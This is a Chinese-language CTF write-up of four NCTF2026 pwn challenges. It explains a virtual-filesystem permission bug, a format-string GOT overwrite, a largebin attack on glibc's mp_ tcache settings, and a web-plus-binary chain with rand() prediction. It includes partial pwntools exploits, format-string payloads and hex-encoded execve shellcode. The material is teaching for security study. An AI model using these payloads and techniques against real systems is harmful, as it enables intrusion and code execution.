NCTF2026 PWN方向挑战详解(全)
概述
本文档基于NCTF2026 PWN方向的官方Write-up,详细解析了四个PWN题目:VFS、checkin、ezheap和最后的一舞。每个题目都涉及不同的漏洞利用技术和防护绕过方法,包括栈漏洞、格式化字符串漏洞、堆利用和Web安全与二进制结合的复杂场景。
1. VFS
1.1 题目信息
- 文件类型:64位ELF
- 保护机制:
- Arch: amd64-64-little
- RELRO: Partial RELRO
- Stack: No canary found
- NX: NX enabled
- PIE: No PIE (0x3fe000)
- SHSTK: Enabled
- IBT: Enabled
- Stripped: No
- 沙盒限制:仅允许read、write、open、close、exit、exit_group系统调用,需进行ORW(Open-Read-Write)利用。
1.2 核心漏洞分析
题目实现了一个简化的虚拟文件系统(VFS)。核心漏洞在于cmd_softlink函数中的权限处理逻辑缺陷。
漏洞触发流程:
-
系统初始化时创建了一个特殊文件
/dev/stack_core,其inode结构如下:/dev/stack_core inode: perm = 1 type = 0 size = 24 ptr = &stack_core_blob stack_core_blob: ptr = state->inodes size = 0x550 perm = 1 magic = "LNKPTR" -
cmd_hardlink函数存在缺陷:硬链接源文件时只检查src_inode->type == 0,不调用inode_accessible()检查权限。因此,受保护的正规文件如/dev/stack_core仍可被克隆。 -
cmd_softlink函数的权限复制漏洞:if (src_inode->type != 1) // 如果src_inode->type == 1(硬链接),则不从link blob复制perm dst_inode->perm = blob->perm;当源inode类型为1(硬链接)时,目标软链接的perm保持为0(因memset清零),导致本应为1的权限被清0。
-
通过组合利用,创建一个指向
state->inodes(inode表)的软链接,且权限为0(用户可访问)。
1.3 利用链构建
- 创建硬链接:对
/dev/stack_core执行HARDLINK,生成一个类型为1的inode副本。 - 创建软链接:对硬链接文件执行
SOFTLINK,利用权限复制漏洞,生成一个指向state->inodes(地址为blob->ptr)、权限为0的软链接。 - 任意地址读:通过
READ命令读取软链接,泄露堆地址和程序基址。 - 任意地址写:通过
WRITE命令修改inode表中的指针,实现任意地址写。 - SROP构造:利用任意读写布置SROP链,依次调用
open、read、write读取flag。
1.4 EXP关键代码
#!/usr/bin/env python3
from pwn import *
from struct import pack, unpack
context.terminal = ['tmux','split','-l 100']
context.binary = ELF('./pwn', checksec=False)
elf = context.binary
libc = ELF('./libc.so.6', checksec=False)
context.arch = 'amd64'
context.log_level = 'info'
# 利用步骤
def exploit():
# 1. 硬链接/dev/stack_core
io.sendlineafter(b'Commands:', b'HARDLINK /dev/stack_core HK')
# 2. 软链接利用权限漏洞
io.sendlineafter(b'Commands:', b'SOFTLINK HK LK')
# 3. 读取inode表泄露地址
io.sendlineafter(b'Commands:', b'READ LK 24')
leak = io.recvuntil(b'OK')
heap_base = unpack('<Q', leak[5:13])[0] - 0x2a0
# 4. 修改inode指针实现任意写
# ... 布置SROP链
# 5. 执行ORW获取flag
2. checkin
2.1 题目信息
- 保护机制:
- Partial RELRO
- No canary
- NX enabled
- No PIE (0x3fe000)
- SHSTK/IBT enabled
- 漏洞类型:栈上格式化字符串漏洞(非栈上格式化,但可写入全局变量)
2.2 漏洞分析
int main() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("Please checkin first");
read(0, buf, 256);
printf(buf); // 格式化字符串漏洞
_exit(0);
}
程序存在明显的格式化字符串漏洞,但输入存储在全局变量buf而非栈上。漏洞利用需解决两个问题:
- 实现无限循环(绕过一次性利用限制)
- 在只有一次格式化字符串机会的情况下完成利用
2.3 利用思路
步骤1:修改_exit@got为main
- 目标:将
_exit@got改为main地址,实现无限重启 - 挑战:glibc 2.39无法劫持
exit_hook - 方法:利用格式化字符串的
%n写功能,通过精确控制写入值修改GOT表
步骤2:泄露libc地址
- 在第二次循环时,通过
%p格式泄露栈上的libc地址 - 计算libc基址
步骤3:修改printf@got为system
- 将
printf的GOT项改为system地址 - 由于地址值较大,需分两次写入(高2字节和低2字节)
- 通过栈上布局,在偏移30和32处布置目标地址,在偏移42和49处执行写入
步骤4:执行system("/bin/sh")
- 第三次输入
/bin/sh,实际调用system("/bin/sh") - 获取shell
2.4 EXP关键步骤
def pwn1(io):
# 第一次:修改_exit@got为main
stage1 = b'%4210664c' + b'%c'*24 + b'%ln' + b'%c'*10 + b'%53676c' + b'%hn'
io.recvuntil(b'Please checkin first\n')
io.send(stage1)
def pwn2(io):
# 第二次:泄露libc地址
io.recvuntil("Please checkin first\n")
stage2 = b'%9$p\x00\x00\x00'+b'\x00'*0x90
io.send(stage2)
io.recvuntil(b'0x')
leak = int(io.recv(12), 16)
libc.address = leak - 0x2a1ca
return libc.sym.system
def pwn3(io, system):
# 第三次:修改printf@got为system
low = system & 0xffff
mid = (system >> 16) & 0xffff
w1 = ((low - 0x4012) % 0x10000) - 8
# 构造payload写入GOT
# ...
io.send(payload)
# 第四次:发送/bin/sh
io.sendline(b'/bin/sh')
3. ezheap
3.1 题目信息
- 保护机制:全保护开启(FULL RELRO, Canary, NX, PIE, SHSTK, IBT)
- 漏洞类型:堆溢出(off-by-one)、Use-After-Free
- libc版本:2.39
3.2 功能分析
- add_chunk: 只能申请largebin大小的chunk(0x450-0x550)
- edit_chunk: 存在off-by-one漏洞(
buf[read(...)] = 0) - show_chunk: 使用
write输出,无格式字符串漏洞 - delete_chunk: 常规free
3.3 利用思路:Largebin Attack劫持mp_
标准解法是攻击IO,但本题提供另一种思路:利用largebin attack修改mp_.tcache_bins,提高tcache上限,从而将任意地址的chunk放入tcache。
关键结构体:malloc_par(mp_)
mp_.tcache_bins:控制可进入tcache的最大chunk大小- 默认值为0x40,修改为更大值可使更大size的chunk进入tcache
3.4 利用步骤
阶段1:地址泄露与堆布局
- 泄露libc地址:通过释放largebin chunk,利用unsorted bin泄露main_arena地址
- 泄露堆地址:通过overlapping构造,泄露堆指针
- 构造两组overlap,为后续利用做准备
阶段2:Largebin Attack
- 准备两个在同一个largebin范围内的chunk
- 修改较小chunk的
bk_nextsize指向&mp_.tcache_bins - 0x20 - 触发largebin attack,将较大chunk的地址写入
mp_.tcache_bins - 将
mp_.tcache_bins值改大(如0x2000)
阶段3:任意地址写
- 利用修改后的tcache机制,将chunk分配到
environ附近 - 读取
environ泄露栈地址 - 计算
edit函数返回地址 - 将chunk分配到返回地址附近
阶段4:ROP获取shell
- 在栈上布置ROP链:
pop rdi; /bin/sh; system - 触发返回,执行system("/bin/sh")
3.5 EXP关键代码
def pwn1():
# 第一组overlap:泄露libc和堆地址
add(0, 0x468)
add(1, 0x4F8)
add(2, 0x548)
add(3, 0x450)
delete(0)
add(4, 0x478)
add(5, 0x468)
# 泄露堆地址
leak = show(5)
heap_addr = u64(leak[0x10:0x18])
# 构造伪造的chunk头
payload = p64(heap_addr)*2 + p64(0)*2
payload += b"A"*(0x468-0x20-8) + p64(0x471)
edit(5, payload)
# 触发largebin attack
delete(1)
# ... 后续利用
4. 最后的一舞
4.1 题目架构
这是一个Web与二进制结合的题目,分为三层:
- Web服务器:处理HTTP请求,验证session和key
- pwn_worker:执行shellcode的二进制程序
- 沙盒限制:严格的shellcode过滤
4.2 漏洞链分析
第一步:Session预测与获取管理员权限
-
/login端点存在信息泄露:__snprintf_chk(session_bytes, 0x2000, 2, 0x2000, "%s", &v27); send_simple_http_response(fd, "401 Unauthorized", "text/plain; charset=UTF-8", session_bytes);输出包含
v27(即username和expected_password) -
随机数生成可预测:
v3 = time(0); ptr = v3 ^ getpid(); srand(ptr); v10 = rand(); __snprintf_chk(expected_password, 32, 2, 32, "%d", v10);基于glibc的随机数生成算法可预测后续输出
-
预测算法(glibc rand):
out[i] = (out[i-31] + out[i-3] + eps) mod 2^31 eps ∈ {0, 1}
第二步:获取REWARD指针泄露PIE
- 通过POST
/reward端点,body为Win,可泄露REWARD指针 - 计算PIE基址
第三步:读取key文件(root.mys)
- 通过
/download端点读取文件 - 绕过限制:
- 扩展名白名单:
.html,.js,.css,.txt - 路径穿越防护:禁止
..、/、\
- 扩展名白名单:
- 利用方法:从Docker镜像历史中提取key
docker history --no-trunc 2er00ne/nctf:ya # COPY ./root.mys /app/www/root.mys # echo 'root:123456' | chpasswd
第四步:执行pwn_worker
- 访问
/pwn端点,需提供正确的key pwn_worker执行shellcode,但有严格限制:- 长度 ≤ 24字节
- 禁止字节:
0x0f,0xcd,0x80,0x2f,0x50-0x57 - 限制目的:阻止常见syscall/shellcode(如
int 0x80,/bin/sh等)
4.3 Shellcode绕过技巧
利用残留寄存器:
xmm7寄存器残留read@libc的真实地址- 可提取libc基址,利用libc中的gadget
Shellcode设计思路:
# 24字节stage1:
# 1. 从xmm7恢复read地址到rax
# 2. 计算"/bin/sh"地址到rdi
# 3. 设置rax=59 (execve)
# 4. 跳转到libc中的syscall路径
最终payload:
PAYLOADS = {
'bundled': bytes.fromhex('c4e1f97ef8488db8aff90a004c8d5848b83b00000041ffe3'),
'local': bytes.fromhex('c4e1f97ef8488db8383e0c004c8d5810b83b00000041ffe3'),
}
4.4 完整利用链
- 收集足够多的rand()输出(约40个)
- 预测下一个随机数,构造管理员session
- 登录获取管理员权限
- 通过
/reward泄露PIE地址 - 从Docker镜像提取key(root.mys内容为"123456")
- 访问
/pwn提供key,获取shellcode执行权限 - 发送精心构造的24字节shellcode
- 切换root用户(密码:123456),读取flag
总结
NCTF2026 PWN方向题目涵盖了多种漏洞类型和利用技术:
- VFS:文件系统逻辑漏洞,通过权限绕过实现任意地址读写,结合沙盒ORW
- checkin:格式化字符串漏洞,利用全局变量和GOT覆写,实现无限循环和GOT劫持
- ezheap:堆漏洞综合利用,通过largebin attack修改
mp_结构体,突破tcache限制 - 最后的一舞:Web与二进制结合,涉及随机数预测、文件读取、严格shellcode过滤绕过
这些题目展示了现代CTF PWN题目的发展趋势:多漏洞组合、复杂环境绕过、混合题型等。解题需要深厚的二进制安全知识、对系统机制的深入理解以及创造性思维。